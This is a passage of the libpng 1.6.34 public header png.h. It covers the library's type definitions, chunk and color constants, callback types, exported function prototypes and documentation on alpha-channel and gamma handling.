* the macros evaluate their argument multiple times. * PNG_NO_USE_READ_MACROS: call the relevant library function. * * Use the alternative algorithm for compositing alpha samples that * does not use division? * PNG_READ_COMPOSITE_NODIV_SUPPORTED: use the 'no division' * algorithm. * PNG_NO_READ_COMPOSITE_NODIV: use the 'division' algorithm. * * How to handle benign errors if PNG_ALLOW_BENIGN_ERRORS is * false? * PNG_ALLOW_BENIGN_ERRORS: map calls to the benign error * APIs to png_warning. * Otherwise the calls are mapped to png_error. */ /* Section 3: type definitions, including structures and compile time * constants. * See pngconf.h for base types that vary by machine/system */ /* This triggers a compiler error in png.c, if png.c and png.h * do not agree upon the version number. */ typedef char* png_libpng_version_1_6_34; /* Basic control structions. Read libpng-manual.txt or libpng.3 for more info. * * png_struct is the cache of information used while reading or writing a single * PNG file. One of these is always required, although the simplified API * (below) hides the creation and destruction of it. */ typedef struct png_struct_def png_struct; typedef const png_struct * png_const_structp; typedef png_struct * png_structp; typedef png_struct * * png_structpp; /* png_info contains information read from or to be written to a PNG file. One * or more of these must exist while reading or creating a PNG file. The * information is not used by libpng during read but is used to control what * gets written when a PNG file is created. "png_get_" function calls read * information during read and "png_set_" functions calls write information * when creating a PNG. * been moved into a separate header file that is not accessible to * applications. Read libpng-manual.txt or libpng.3 for more info. */ typedef struct png_info_def png_info; typedef png_info * png_infop; typedef const png_info * png_const_infop; typedef png_info * * png_infopp; /* Types with names ending 'p' are pointer types. The corresponding types with * names ending 'rp' are identical pointer types except that the pointer is * marked 'restrict', which means that it is the only pointer to the object * passed to the function. Applications should not use the 'restrict' types; * it is always valid to pass 'p' to a pointer with a function argument of the * corresponding 'rp' type. Different compilers have different rules with * regard to type matching in the presence of 'restrict'. For backward * compatibility libpng callbacks never have 'restrict' in their parameters and, * consequentially, writing portable application code is extremely difficult if * an attempt is made to use 'restrict'. */ typedef png_struct * PNG_RESTRICT png_structrp; typedef const png_struct * PNG_RESTRICT png_const_structrp; typedef png_info * PNG_RESTRICT png_inforp; typedef const png_info * PNG_RESTRICT png_const_inforp; /* Three color definitions. The order of the red, green, and blue, (and the * exact size) is not important, although the size of the fields need to * be png_byte or png_uint_16 (as defined below). */ typedef struct png_color_struct { png_byte red; png_byte green; png_byte blue; } png_color; typedef png_color * png_colorp; typedef const png_color * png_const_colorp; typedef png_color * * png_colorpp; typedef struct png_color_16_struct { png_byte index; /* used for palette files */ png_uint_16 red; /* for use in red green blue files */ png_uint_16 green; png_uint_16 blue; png_uint_16 gray; /* for use in grayscale files */ } png_color_16; typedef png_color_16 * png_color_16p; typedef const png_color_16 * png_const_color_16p; typedef png_color_16 * * png_color_16pp; typedef struct png_color_8_struct { png_byte red; /* for use in red green blue files */ png_byte green; png_byte blue; png_byte gray; /* for use in grayscale files */ png_byte alpha; /* for alpha channel files */ } png_color_8; typedef png_color_8 * png_color_8p; typedef const png_color_8 * png_const_color_8p; typedef png_color_8 * * png_color_8pp; /* * The following two structures are used for the in-core representation * of sPLT chunks. */ typedef struct png_sPLT_entry_struct { png_uint_16 red; png_uint_16 green; png_uint_16 blue; png_uint_16 alpha; png_uint_16 frequency; } png_sPLT_entry; typedef png_sPLT_entry * png_sPLT_entryp; typedef const png_sPLT_entry * png_const_sPLT_entryp; typedef png_sPLT_entry * * png_sPLT_entrypp; /* When the depth of the sPLT palette is 8 bits, the color and alpha samples * occupy the LSB of their respective members, and the MSB of each member * is zero-filled. The frequency member always occupies the full 16 bits. */ typedef struct png_sPLT_struct { png_charp name; /* palette name */ png_byte depth; /* depth of palette samples */ png_sPLT_entryp entries; /* palette entries */ png_int_32 nentries; /* number of palette entries */ } png_sPLT_t; typedef png_sPLT_t * png_sPLT_tp; typedef const png_sPLT_t * png_const_sPLT_tp; typedef png_sPLT_t * * png_sPLT_tpp; #ifdef PNG_TEXT_SUPPORTED /* png_text holds the contents of a text/ztxt/itxt chunk in a PNG file, * and whether that contents is compressed or not. The "key" field * points to a regular zero-terminated C string. The "text" fields can be a * regular C string, an empty string, or a NULL pointer. * However, the structure returned by png_get_text() will always contain * the "text" field as a regular zero-terminated C string (possibly * empty), never a NULL pointer, so it can be safely used in printf() and * other string-handling functions. Note that the "itxt_length", "lang", and * "lang_key" members of the structure only exist when the library is built * with iTXt chunk support. Prior to libpng-1.4.0 the library was built by * default without iTXt support. Also note that when iTXt *is* supported, * the "lang" and "lang_key" fields contain NULL pointers when the * "compression" field contains * PNG_TEXT_COMPRESSION_NONE or * PNG_TEXT_COMPRESSION_zTXt. Note that the "compression value" is not the * same as what appears in the PNG tEXt/zTXt/iTXt chunk's "compression flag" * which is always 0 or 1, or its "compression method" which is always 0. */ typedef struct png_text_struct { int compression; /* compression value: -1: tEXt, none 0: zTXt, deflate 1: iTXt, none 2: iTXt, deflate */ png_charp key; /* keyword, 1-79 character description of "text" */ png_charp text; /* comment, may be an empty string (ie "") or a NULL pointer */ png_size_t text_length; /* length of the text string */ png_size_t itxt_length; /* length of the itxt string */ png_charp lang; /* language code, 0-79 characters or a NULL pointer */ png_charp lang_key; /* keyword translated UTF-8 string, 0 or more chars or a NULL pointer */ } png_text; typedef png_text * png_textp; typedef const png_text * png_const_textp; typedef png_text * * png_textpp; #endif /* Supported compression types for text in PNG files (tEXt, and zTXt). * The values of the PNG_TEXT_COMPRESSION_ defines should NOT be changed. */ #define PNG_TEXT_COMPRESSION_NONE_WR -3 #define PNG_TEXT_COMPRESSION_zTXt_WR -2 #define PNG_TEXT_COMPRESSION_NONE -1 #define PNG_TEXT_COMPRESSION_zTXt 0 #define PNG_ITXT_COMPRESSION_NONE 1 #define PNG_ITXT_COMPRESSION_zTXt 2 #define PNG_TEXT_COMPRESSION_LAST 3 /* Not a valid value */ /* png_time is a way to hold the time in an machine independent way. * Two conversions are provided, both from time_t and struct tm. There * is no portable way to convert to either of these structures, as far * as I know. If you know of a portable way, send it to me. As a side * note - PNG has always been Year 2000 compliant! */ typedef struct png_time_struct { png_uint_16 year; /* full year, as in, 1995 */ png_byte month; /* month of year, 1 - 12 */ png_byte day; /* day of month, 1 - 31 */ png_byte hour; /* hour of day, 0 - 23 */ png_byte minute; /* minute of hour, 0 - 59 */ png_byte second; /* second of minute, 0 - 60 (for leap seconds) */ } png_time; typedef png_time * png_timep; typedef const png_time * png_const_timep; typedef png_time * * png_timepp; #if defined(PNG_STORE_UNKNOWN_CHUNKS_SUPPORTED) ||\ defined(PNG_USER_CHUNKS_SUPPORTED) /* png_unknown_chunk is a structure to hold queued chunks for which there is * no specific support. The idea is that we can use this to queue * up private chunks for output even though the library doesn't actually * know about their semantics. * * The data in the structure is set by libpng on read and used on write. */ typedef struct png_unknown_chunk_t { png_byte name[5]; /* Textual chunk name with '\0' terminator */ png_byte *data; /* Data, should not be modified on read! */ png_size_t size; /* On write 'location' must be set using the flag values listed below. * Notice that on read it is set by libpng however the values stored have * more bits set than are listed below. Always treat the value as a * bitmask. On write set only one bit - setting multiple bits may cause the * chunk to be written in multiple places. */ png_byte location; /* mode of operation at read time */ } png_unknown_chunk; typedef png_unknown_chunk * png_unknown_chunkp; typedef const png_unknown_chunk * png_const_unknown_chunkp; typedef png_unknown_chunk * * png_unknown_chunkpp; #endif /* Flag values for the unknown chunk location byte. */ #define PNG_HAVE_IHDR 0x01 #define PNG_HAVE_PLTE 0x02 #define PNG_AFTER_IDAT 0x08 /* Maximum positive integer used in PNG is (2^31)-1 */ #define PNG_UINT_31_MAX ((png_uint_32)0x7fffffffL) #define PNG_UINT_32_MAX ((png_uint_32)(-1)) #define PNG_SIZE_MAX ((png_size_t)(-1)) /* These are constants for fixed point values encoded in the * PNG specification manner (x100000) */ #define PNG_FP_1 100000 #define PNG_FP_HALF 50000 #define PNG_FP_MAX ((png_fixed_point)0x7fffffffL) #define PNG_FP_MIN (-PNG_FP_MAX) /* These describe the color_type field in png_info. */ /* color type masks */ #define PNG_COLOR_MASK_PALETTE 1 #define PNG_COLOR_MASK_COLOR 2 #define PNG_COLOR_MASK_ALPHA 4 /* color types. Note that not all combinations are legal */ #define PNG_COLOR_TYPE_GRAY 0 #define PNG_COLOR_TYPE_PALETTE (PNG_COLOR_MASK_COLOR | PNG_COLOR_MASK_PALETTE) #define PNG_COLOR_TYPE_RGB (PNG_COLOR_MASK_COLOR) #define PNG_COLOR_TYPE_RGB_ALPHA (PNG_COLOR_MASK_COLOR | PNG_COLOR_MASK_ALPHA) #define PNG_COLOR_TYPE_GRAY_ALPHA (PNG_COLOR_MASK_ALPHA) /* aliases */ #define PNG_COLOR_TYPE_RGBA PNG_COLOR_TYPE_RGB_ALPHA #define PNG_COLOR_TYPE_GA PNG_COLOR_TYPE_GRAY_ALPHA /* This is for compression type. PNG 1.0-1.2 only define the single type. */ #define PNG_COMPRESSION_TYPE_BASE 0 /* Deflate method 8, 32K window */ #define PNG_COMPRESSION_TYPE_DEFAULT PNG_COMPRESSION_TYPE_BASE /* This is for filter type. PNG 1.0-1.2 only define the single type. */ #define PNG_FILTER_TYPE_BASE 0 /* Single row per-byte filtering */ #define PNG_INTRAPIXEL_DIFFERENCING 64 /* Used only in MNG datastreams */ #define PNG_FILTER_TYPE_DEFAULT PNG_FILTER_TYPE_BASE /* These are for the interlacing type. These values should NOT be changed. */ #define PNG_INTERLACE_NONE 0 /* Non-interlaced image */ #define PNG_INTERLACE_ADAM7 1 /* Adam7 interlacing */ #define PNG_INTERLACE_LAST 2 /* Not a valid value */ /* These are for the oFFs chunk. These values should NOT be changed. */ #define PNG_OFFSET_PIXEL 0 /* Offset in pixels */ #define PNG_OFFSET_MICROMETER 1 /* Offset in micrometers (1/10^6 meter) */ #define PNG_OFFSET_LAST 2 /* Not a valid value */ /* These are for the pCAL chunk. These values should NOT be changed. */ #define PNG_EQUATION_LINEAR 0 /* Linear transformation */ #define PNG_EQUATION_BASE_E 1 /* Exponential base e transform */ #define PNG_EQUATION_ARBITRARY 2 /* Arbitrary base exponential transform */ #define PNG_EQUATION_HYPERBOLIC 3 /* Hyperbolic sine transformation */ #define PNG_EQUATION_LAST 4 /* Not a valid value */ /* These are for the sCAL chunk. These values should NOT be changed. */ #define PNG_SCALE_UNKNOWN 0 /* unknown unit (image scale) */ #define PNG_SCALE_METER 1 /* meters per pixel */ #define PNG_SCALE_RADIAN 2 /* radians per pixel */ #define PNG_SCALE_LAST 3 /* Not a valid value */ /* These are for the pHYs chunk. These values should NOT be changed. */ #define PNG_RESOLUTION_UNKNOWN 0 /* pixels/unknown unit (aspect ratio) */ #define PNG_RESOLUTION_METER 1 /* pixels/meter */ #define PNG_RESOLUTION_LAST 2 /* Not a valid value */ /* These are for the sRGB chunk. These values should NOT be changed. */ #define PNG_sRGB_INTENT_PERCEPTUAL 0 #define PNG_sRGB_INTENT_RELATIVE 1 #define PNG_sRGB_INTENT_SATURATION 2 #define PNG_sRGB_INTENT_ABSOLUTE 3 #define PNG_sRGB_INTENT_LAST 4 /* Not a valid value */ /* This is for text chunks */ #define PNG_KEYWORD_MAX_LENGTH 79 /* Maximum number of entries in PLTE/sPLT/tRNS arrays */ #define PNG_MAX_PALETTE_LENGTH 256 /* These determine if an ancillary chunk's data has been successfully read * from the PNG header, or if the application has filled in the corresponding * data in the info_struct to be written into the output file. The values * of the PNG_INFO_<chunk> defines should NOT be changed. */ #define PNG_INFO_gAMA 0x0001U #define PNG_INFO_sBIT 0x0002U #define PNG_INFO_cHRM 0x0004U #define PNG_INFO_PLTE 0x0008U #define PNG_INFO_tRNS 0x0010U #define PNG_INFO_bKGD 0x0020U #define PNG_INFO_hIST 0x0040U #define PNG_INFO_pHYs 0x0080U #define PNG_INFO_oFFs 0x0100U #define PNG_INFO_tIME 0x0200U #define PNG_INFO_pCAL 0x0400U #define PNG_INFO_sRGB 0x0800U /* GR-P, 0.96a */ #define PNG_INFO_iCCP 0x1000U /* ESR, 1.0.6 */ #define PNG_INFO_sPLT 0x2000U /* ESR, 1.0.6 */ #define PNG_INFO_sCAL 0x4000U /* ESR, 1.0.6 */ #define PNG_INFO_IDAT 0x8000U /* ESR, 1.0.6 */ #define PNG_INFO_eXIf 0x10000U /* GR-P, 1.6.31 */ /* This is used for the transformation routines, as some of them * change these values for the row. It also should enable using * the routines for other purposes. */ typedef struct png_row_info_struct { png_uint_32 width; /* width of row */ png_size_t rowbytes; /* number of bytes in row */ png_byte color_type; /* color type of row */ png_byte bit_depth; /* bit depth of row */ png_byte channels; /* number of channels (1, 2, 3, or 4) */ png_byte pixel_depth; /* bits per pixel (depth * channels) */ } png_row_info; typedef png_row_info * png_row_infop; typedef png_row_info * * png_row_infopp; /* These are the function types for the I/O functions and for the functions * that allow the user to override the default I/O functions with his or her * own. The png_error_ptr type should match that of user-supplied warning * and error functions, while the png_rw_ptr type should match that of the * user read/write data functions. Note that the 'write' function must not * modify the buffer it is passed. The 'read' function, on the other hand, is * expected to return the read data in the buffer. */ typedef PNG_CALLBACK(void, *png_error_ptr, (png_structp, png_const_charp)); typedef PNG_CALLBACK(void, *png_rw_ptr, (png_structp, png_bytep, png_size_t)); typedef PNG_CALLBACK(void, *png_flush_ptr, (png_structp)); typedef PNG_CALLBACK(void, *png_read_status_ptr, (png_structp, png_uint_32, int)); typedef PNG_CALLBACK(void, *png_write_status_ptr, (png_structp, png_uint_32, int)); #ifdef PNG_PROGRESSIVE_READ_SUPPORTED typedef PNG_CALLBACK(void, *png_progressive_info_ptr, (png_structp, png_infop)); typedef PNG_CALLBACK(void, *png_progressive_end_ptr, (png_structp, png_infop)); /* The following callback receives png_uint_32 row_number, int pass for the * png_bytep data of the row. When transforming an interlaced image the * row number is the row number within the sub-image of the interlace pass, so * the value will increase to the height of the sub-image (not the full image) * then reset to 0 for the next pass. * * Use PNG_ROW_FROM_PASS_ROW(row, pass) and PNG_COL_FROM_PASS_COL(col, pass) to * find the output pixel (x,y) given an interlaced sub-image pixel * (row,col,pass). (See below for these macros.) */ typedef PNG_CALLBACK(void, *png_progressive_row_ptr, (png_structp, png_bytep, png_uint_32, int)); #endif #if defined(PNG_READ_USER_TRANSFORM_SUPPORTED) || \ defined(PNG_WRITE_USER_TRANSFORM_SUPPORTED) typedef PNG_CALLBACK(void, *png_user_transform_ptr, (png_structp, png_row_infop, png_bytep)); #endif #ifdef PNG_USER_CHUNKS_SUPPORTED typedef PNG_CALLBACK(int, *png_user_chunk_ptr, (png_structp, png_unknown_chunkp)); #endif #ifdef PNG_UNKNOWN_CHUNKS_SUPPORTED /* not used anywhere */ /* typedef PNG_CALLBACK(void, *png_unknown_chunk_ptr, (png_structp)); */ #endif #ifdef PNG_SETJMP_SUPPORTED /* This must match the function definition in <setjmp.h>, and the application * must include this before png.h to obtain the definition of jmp_buf. The * function is required to be PNG_NORETURN, but this is not checked. If the * function does return the application will crash via an abort() or similar * system level call. * * If you get a warning here while building the library you may need to make * changes to ensure that pnglibconf.h records the calling convention used by * your compiler. This may be very difficult - try using a different compiler * to build the library! */ PNG_FUNCTION(void, (PNGCAPI *png_longjmp_ptr), PNGARG((jmp_buf, int)), typedef); #endif /* Transform masks for the high-level interface */ #define PNG_TRANSFORM_IDENTITY 0x0000 /* read and write */ #define PNG_TRANSFORM_STRIP_16 0x0001 /* read only */ #define PNG_TRANSFORM_STRIP_ALPHA 0x0002 /* read only */ #define PNG_TRANSFORM_PACKING 0x0004 /* read and write */ #define PNG_TRANSFORM_PACKSWAP 0x0008 /* read and write */ #define PNG_TRANSFORM_EXPAND 0x0010 /* read only */ #define PNG_TRANSFORM_INVERT_MONO 0x0020 /* read and write */ #define PNG_TRANSFORM_SHIFT 0x0040 /* read and write */ #define PNG_TRANSFORM_BGR 0x0080 /* read and write */ #define PNG_TRANSFORM_SWAP_ALPHA 0x0100 /* read and write */ #define PNG_TRANSFORM_SWAP_ENDIAN 0x0200 /* read and write */ #define PNG_TRANSFORM_INVERT_ALPHA 0x0400 /* read and write */ #define PNG_TRANSFORM_STRIP_FILLER 0x0800 /* write only */ /* Added to libpng-1.2.34 */ #define PNG_TRANSFORM_STRIP_FILLER_BEFORE PNG_TRANSFORM_STRIP_FILLER #define PNG_TRANSFORM_STRIP_FILLER_AFTER 0x1000 /* write only */ /* Added to libpng-1.4.0 */ #define PNG_TRANSFORM_GRAY_TO_RGB 0x2000 /* read only */ /* Added to libpng-1.5.4 */ #define PNG_TRANSFORM_EXPAND_16 0x4000 /* read only */ #if INT_MAX >= 0x8000 /* else this might break */ #define PNG_TRANSFORM_SCALE_16 0x8000 /* read only */ #endif /* Flags for MNG supported features */ #define PNG_FLAG_MNG_EMPTY_PLTE 0x01 #define PNG_FLAG_MNG_FILTER_64 0x04 #define PNG_ALL_MNG_FEATURES 0x05 /* NOTE: prior to 1.5 these functions had no 'API' style declaration, * this allowed the zlib default functions to be used on Windows * platforms. In 1.5 the zlib default malloc (which just calls malloc and * ignores the first argument) should be completely compatible with the * following. */ typedef PNG_CALLBACK(png_voidp, *png_malloc_ptr, (png_structp, png_alloc_size_t)); typedef PNG_CALLBACK(void, *png_free_ptr, (png_structp, png_voidp)); /* Section 4: exported functions * Here are the function definitions most commonly used. This is not * the place to find out how to use libpng. See libpng-manual.txt for the * full explanation, see example.c for the summary. This just provides * a simple one line description of the use of each function. * * The PNG_EXPORT() and PNG_EXPORTA() macros used below are defined in * pngconf.h and in the *.dfn files in the scripts directory. * * PNG_EXPORT(ordinal, type, name, (args)); * * ordinal: ordinal that is used while building * *.def files. The ordinal value is only * relevant when preprocessing png.h with * the *.dfn files for building symbol table * entries, and are removed by pngconf.h. * type: return type of the function * name: function name * args: function arguments, with types * * When we wish to append attributes to a function prototype we use * the PNG_EXPORTA() macro instead. * * PNG_EXPORTA(ordinal, type, name, (args), attributes); * * ordinal, type, name, and args: same as in PNG_EXPORT(). * attributes: function attributes */ /* Returns the version number of the library */ PNG_EXPORT(1, png_uint_32, png_access_version_number, (void)); /* Tell lib we have already handled the first <num_bytes> magic bytes. * Handling more than 8 bytes from the beginning of the file is an error. */ PNG_EXPORT(2, void, png_set_sig_bytes, (png_structrp png_ptr, int num_bytes)); /* Check sig[start] through sig[start + num_to_check - 1] to see if it's a * PNG file. Returns zero if the supplied bytes match the 8-byte PNG * signature, and non-zero otherwise. Having num_to_check == 0 or * start > 7 will always fail (ie return non-zero). */ PNG_EXPORT(3, int, png_sig_cmp, (png_const_bytep sig, png_size_t start, png_size_t num_to_check)); /* Simple signature checking function. This is the same as calling * png_check_sig(sig, n) := !png_sig_cmp(sig, 0, n). */ #define png_check_sig(sig, n) !png_sig_cmp((sig), 0, (n)) /* Allocate and initialize png_ptr struct for reading, and any other memory. */ PNG_EXPORTA(4, png_structp, png_create_read_struct, (png_const_charp user_png_ver, png_voidp error_ptr, png_error_ptr error_fn, png_error_ptr warn_fn), PNG_ALLOCATED); /* Allocate and initialize png_ptr struct for writing, and any other memory */ PNG_EXPORTA(5, png_structp, png_create_write_struct, (png_const_charp user_png_ver, png_voidp error_ptr, png_error_ptr error_fn, png_error_ptr warn_fn), PNG_ALLOCATED); PNG_EXPORT(6, png_size_t, png_get_compression_buffer_size, (png_const_structrp png_ptr)); PNG_EXPORT(7, void, png_set_compression_buffer_size, (png_structrp png_ptr, png_size_t size)); /* Moved from pngconf.h in 1.4.0 and modified to ensure setjmp/longjmp * match up. */ #ifdef PNG_SETJMP_SUPPORTED /* This function returns the jmp_buf built in to *png_ptr. It must be * supplied with an appropriate 'longjmp' function to use on that jmp_buf * unless the default error function is overridden in which case NULL is * acceptable. The size of the jmp_buf is checked against the actual size * allocated by the library - the call will return NULL on a mismatch * indicating an ABI mismatch. */ PNG_EXPORT(8, jmp_buf*, png_set_longjmp_fn, (png_structrp png_ptr, png_longjmp_ptr longjmp_fn, size_t jmp_buf_size)); # define png_jmpbuf(png_ptr) \ (*png_set_longjmp_fn((png_ptr), longjmp, (sizeof (jmp_buf)))) #else # define png_jmpbuf(png_ptr) \ (LIBPNG_WAS_COMPILED_WITH__PNG_NO_SETJMP) #endif /* This function should be used by libpng applications in place of * longjmp(png_ptr->jmpbuf, val). If longjmp_fn() has been set, it * will use it; otherwise it will call PNG_ABORT(). This function was * added in libpng-1.5.0. */ PNG_EXPORTA(9, void, png_longjmp, (png_const_structrp png_ptr, int val), PNG_NORETURN); #ifdef PNG_READ_SUPPORTED /* Reset the compression stream */ PNG_EXPORTA(10, int, png_reset_zstream, (png_structrp png_ptr), PNG_DEPRECATED); #endif /* New functions added in libpng-1.0.2 (not enabled by default until 1.2.0) */ #ifdef PNG_USER_MEM_SUPPORTED PNG_EXPORTA(11, png_structp, png_create_read_struct_2, (png_const_charp user_png_ver, png_voidp error_ptr, png_error_ptr error_fn, png_error_ptr warn_fn, png_voidp mem_ptr, png_malloc_ptr malloc_fn, png_free_ptr free_fn), PNG_ALLOCATED); PNG_EXPORTA(12, png_structp, png_create_write_struct_2, (png_const_charp user_png_ver, png_voidp error_ptr, png_error_ptr error_fn, png_error_ptr warn_fn, png_voidp mem_ptr, png_malloc_ptr malloc_fn, png_free_ptr free_fn), PNG_ALLOCATED); #endif /* Write the PNG file signature. */ PNG_EXPORT(13, void, png_write_sig, (png_structrp png_ptr)); /* Write a PNG chunk - size, type, (optional) data, CRC. */ PNG_EXPORT(14, void, png_write_chunk, (png_structrp png_ptr, png_const_bytep chunk_name, png_const_bytep data, png_size_t length)); /* Write the start of a PNG chunk - length and chunk name. */ PNG_EXPORT(15, void, png_write_chunk_start, (png_structrp png_ptr, png_const_bytep chunk_name, png_uint_32 length)); /* Write the data of a PNG chunk started with png_write_chunk_start(). */ PNG_EXPORT(16, void, png_write_chunk_data, (png_structrp png_ptr, png_const_bytep data, png_size_t length)); /* Finish a chunk started with png_write_chunk_start() (includes CRC). */ PNG_EXPORT(17, void, png_write_chunk_end, (png_structrp png_ptr)); /* Allocate and initialize the info structure */ PNG_EXPORTA(18, png_infop, png_create_info_struct, (png_const_structrp png_ptr), PNG_ALLOCATED); /* DEPRECATED: this function allowed init structures to be created using the * default allocation method (typically malloc). Use is deprecated in 1.6.0 and * the API will be removed in the future. */ PNG_EXPORTA(19, void, png_info_init_3, (png_infopp info_ptr, png_size_t png_info_struct_size), PNG_DEPRECATED); /* Writes all the PNG information before the image. */ PNG_EXPORT(20, void, png_write_info_before_PLTE, (png_structrp png_ptr, png_const_inforp info_ptr)); PNG_EXPORT(21, void, png_write_info, (png_structrp png_ptr, png_const_inforp info_ptr)); #ifdef PNG_SEQUENTIAL_READ_SUPPORTED /* Read the information before the actual image data. */ PNG_EXPORT(22, void, png_read_info, (png_structrp png_ptr, png_inforp info_ptr)); #endif #ifdef PNG_TIME_RFC1123_SUPPORTED /* Convert to a US string format: there is no localization support in this * routine. The original implementation used a 29 character buffer in * png_struct, this will be removed in future versions. */ #if PNG_LIBPNG_VER < 10700 /* To do: remove this from libpng17 (and from libpng17/png.c and pngstruct.h) */ PNG_EXPORTA(23, png_const_charp, png_convert_to_rfc1123, (png_structrp png_ptr, png_const_timep ptime),PNG_DEPRECATED); #endif PNG_EXPORT(241, int, png_convert_to_rfc1123_buffer, (char out[29], png_const_timep ptime)); #endif #ifdef PNG_CONVERT_tIME_SUPPORTED /* Convert from a struct tm to png_time */ PNG_EXPORT(24, void, png_convert_from_struct_tm, (png_timep ptime, const struct tm * ttime)); /* Convert from time_t to png_time. Uses gmtime() */ PNG_EXPORT(25, void, png_convert_from_time_t, (png_timep ptime, time_t ttime)); #endif /* CONVERT_tIME */ #ifdef PNG_READ_EXPAND_SUPPORTED /* Expand data to 24-bit RGB, or 8-bit grayscale, with alpha if available. */ PNG_EXPORT(26, void, png_set_expand, (png_structrp png_ptr)); PNG_EXPORT(27, void, png_set_expand_gray_1_2_4_to_8, (png_structrp png_ptr)); PNG_EXPORT(28, void, png_set_palette_to_rgb, (png_structrp png_ptr)); PNG_EXPORT(29, void, png_set_tRNS_to_alpha, (png_structrp png_ptr)); #endif #ifdef PNG_READ_EXPAND_16_SUPPORTED /* Expand to 16-bit channels, forces conversion of palette to RGB and expansion * of a tRNS chunk if present. */ PNG_EXPORT(221, void, png_set_expand_16, (png_structrp png_ptr)); #endif #if defined(PNG_READ_BGR_SUPPORTED) || defined(PNG_WRITE_BGR_SUPPORTED) /* Use blue, green, red order for pixels. */ PNG_EXPORT(30, void, png_set_bgr, (png_structrp png_ptr)); #endif #ifdef PNG_READ_GRAY_TO_RGB_SUPPORTED /* Expand the grayscale to 24-bit RGB if necessary. */ PNG_EXPORT(31, void, png_set_gray_to_rgb, (png_structrp png_ptr)); #endif #ifdef PNG_READ_RGB_TO_GRAY_SUPPORTED /* Reduce RGB to grayscale. */ #define PNG_ERROR_ACTION_NONE 1 #define PNG_ERROR_ACTION_WARN 2 #define PNG_ERROR_ACTION_ERROR 3 #define PNG_RGB_TO_GRAY_DEFAULT (-1)/*for red/green coefficients*/ PNG_FP_EXPORT(32, void, png_set_rgb_to_gray, (png_structrp png_ptr, int error_action, double red, double green)) PNG_FIXED_EXPORT(33, void, png_set_rgb_to_gray_fixed, (png_structrp png_ptr, int error_action, png_fixed_point red, png_fixed_point green)) PNG_EXPORT(34, png_byte, png_get_rgb_to_gray_status, (png_const_structrp png_ptr)); #endif #ifdef PNG_BUILD_GRAYSCALE_PALETTE_SUPPORTED PNG_EXPORT(35, void, png_build_grayscale_palette, (int bit_depth, png_colorp palette)); #endif #ifdef PNG_READ_ALPHA_MODE_SUPPORTED /* How the alpha channel is interpreted - this affects how the color channels * of a PNG file are returned to the calling application when an alpha channel, * or a tRNS chunk in a palette file, is present. * * This has no effect on the way pixels are written into a PNG output * datastream. The color samples in a PNG datastream are never premultiplied * with the alpha samples. * * The default is to return data according to the PNG specification: the alpha * channel is a linear measure of the contribution of the pixel to the * corresponding composited pixel, and the color channels are unassociated * (not premultiplied). The gamma encoded color channels must be scaled * according to the contribution and to do this it is necessary to undo * the encoding, scale the color values, perform the composition and reencode * the values. This is the 'PNG' mode. * * The alternative is to 'associate' the alpha with the color information by * storing color channel values that have been scaled by the alpha. * image. These are the 'STANDARD', 'ASSOCIATED' or 'PREMULTIPLIED' modes * (the latter being the two common names for associated alpha color channels). * * For the 'OPTIMIZED' mode, a pixel is treated as opaque only if the alpha * value is equal to the maximum value. * * The final choice is to gamma encode the alpha channel as well. This is * broken because, in practice, no implementation that uses this choice * correctly undoes the encoding before handling alpha composition. Use this * choice only if other serious errors in the software or hardware you use * mandate it; the typical serious error is for dark halos to appear around * opaque areas of the composited PNG image because of arithmetic overflow. * * The API function png_set_alpha_mode specifies which of these choices to use * with an enumerated 'mode' value and the gamma of the required output: */ #define PNG_ALPHA_PNG 0 /* according to the PNG standard */ #define PNG_ALPHA_STANDARD 1 /* according to Porter/Duff */ #define PNG_ALPHA_ASSOCIATED 1 /* as above; this is the normal practice */ #define PNG_ALPHA_PREMULTIPLIED 1 /* as above */ #define PNG_ALPHA_OPTIMIZED 2 /* 'PNG' for opaque pixels, else 'STANDARD' */ #define PNG_ALPHA_BROKEN 3 /* the alpha channel is gamma encoded */ PNG_FP_EXPORT(227, void, png_set_alpha_mode, (png_structrp png_ptr, int mode, double output_gamma)) PNG_FIXED_EXPORT(228, void, png_set_alpha_mode_fixed, (png_structrp png_ptr, int mode, png_fixed_point output_gamma)) #endif #if defined(PNG_GAMMA_SUPPORTED) || defined(PNG_READ_ALPHA_MODE_SUPPORTED) /* The output_gamma value is a screen gamma in libpng terminology: it expresses * how to decode the output values, not how they are encoded. */ #define PNG_DEFAULT_sRGB -1 /* sRGB gamma and color space */ #define PNG_GAMMA_MAC_18 -2 /* Old Mac '1.8' gamma and color space */ #define PNG_GAMMA_sRGB 220000 /* Television standards--matches sRGB gamma */ #define PNG_GAMMA_LINEAR PNG_FP_1 /* Linear */ #endif /* The following are examples of calls to png_set_alpha_mode to achieve the * required overall gamma correction and, where necessary, alpha * premultiplication. * * png_set_alpha_mode(pp, PNG_ALPHA_PNG, PNG_DEFAULT_sRGB); * This is the default libpng handling of the alpha channel - it is not * pre-multiplied into the color components. In addition the call states * that the output is for a sRGB system and causes all PNG files without gAMA * chunks to be assumed to be encoded using sRGB. * * png_set_alpha_mode(pp, PNG_ALPHA_PNG, PNG_GAMMA_MAC); * In this case the output is assumed to be something like an sRGB conformant * display preceeded by a power-law lookup table of power 1.45. This is how * early Mac systems behaved. * * png_set_alpha_mode(pp, PNG_ALPHA_STANDARD, PNG_GAMMA_LINEAR); * This is the classic Jim Blinn approach and will work in academic * environments where everything is done by the book. It has the shortcoming * of assuming that input PNG data with no gamma information is linear - this * is unlikely to be correct unless the PNG files where generated locally. * Most of the time the output precision will be so low as to show * significant banding in dark areas of the image. * * png_set_expand_16(pp); * png_set_alpha_mode(pp, PNG_ALPHA_STANDARD, PNG_DEFAULT_sRGB); * This is a somewhat more realistic Jim Blinn inspired approach. PNG files * are assumed to have the sRGB encoding if not marked with a gamma value and * the output is always 16 bits per component. This permits accurate scaling * and processing of the data. If you know that your input PNG files were * generated locally you might need to replace PNG_DEFAULT_sRGB with the * correct value for your system. * * png_set_alpha_mode(pp, PNG_ALPHA_OPTIMIZED, PNG_DEFAULT_sRGB); * If you just need to composite the PNG image onto an existing background * and if you control the code that does this you can use the optimization * setting. In this case you just copy completely opaque pixels to the * output. For pixels that are not completely transparent (you just skip * those) you do the composition math using png_composite or png_composite_16 * below then encode the resultant 8-bit or 16-bit values to match the output * encoding. * * Other cases * If neither the PNG nor the standard linear encoding work for you because * of the software or hardware you use then you have a big problem. The PNG * case will probably result in halos around the image. The linear encoding * will probably result in a washed out, too bright, image (it's actually too * contrasty.) Try the ALPHA_OPTIMIZED mode above - this will probably * substantially reduce the halos. Alternatively try: * * png_set_alpha_mode(pp, PNG_ALPHA_BROKEN, PNG_DEFAULT_sRGB); * This option will also reduce the halos, but there will be slight dark * halos round the 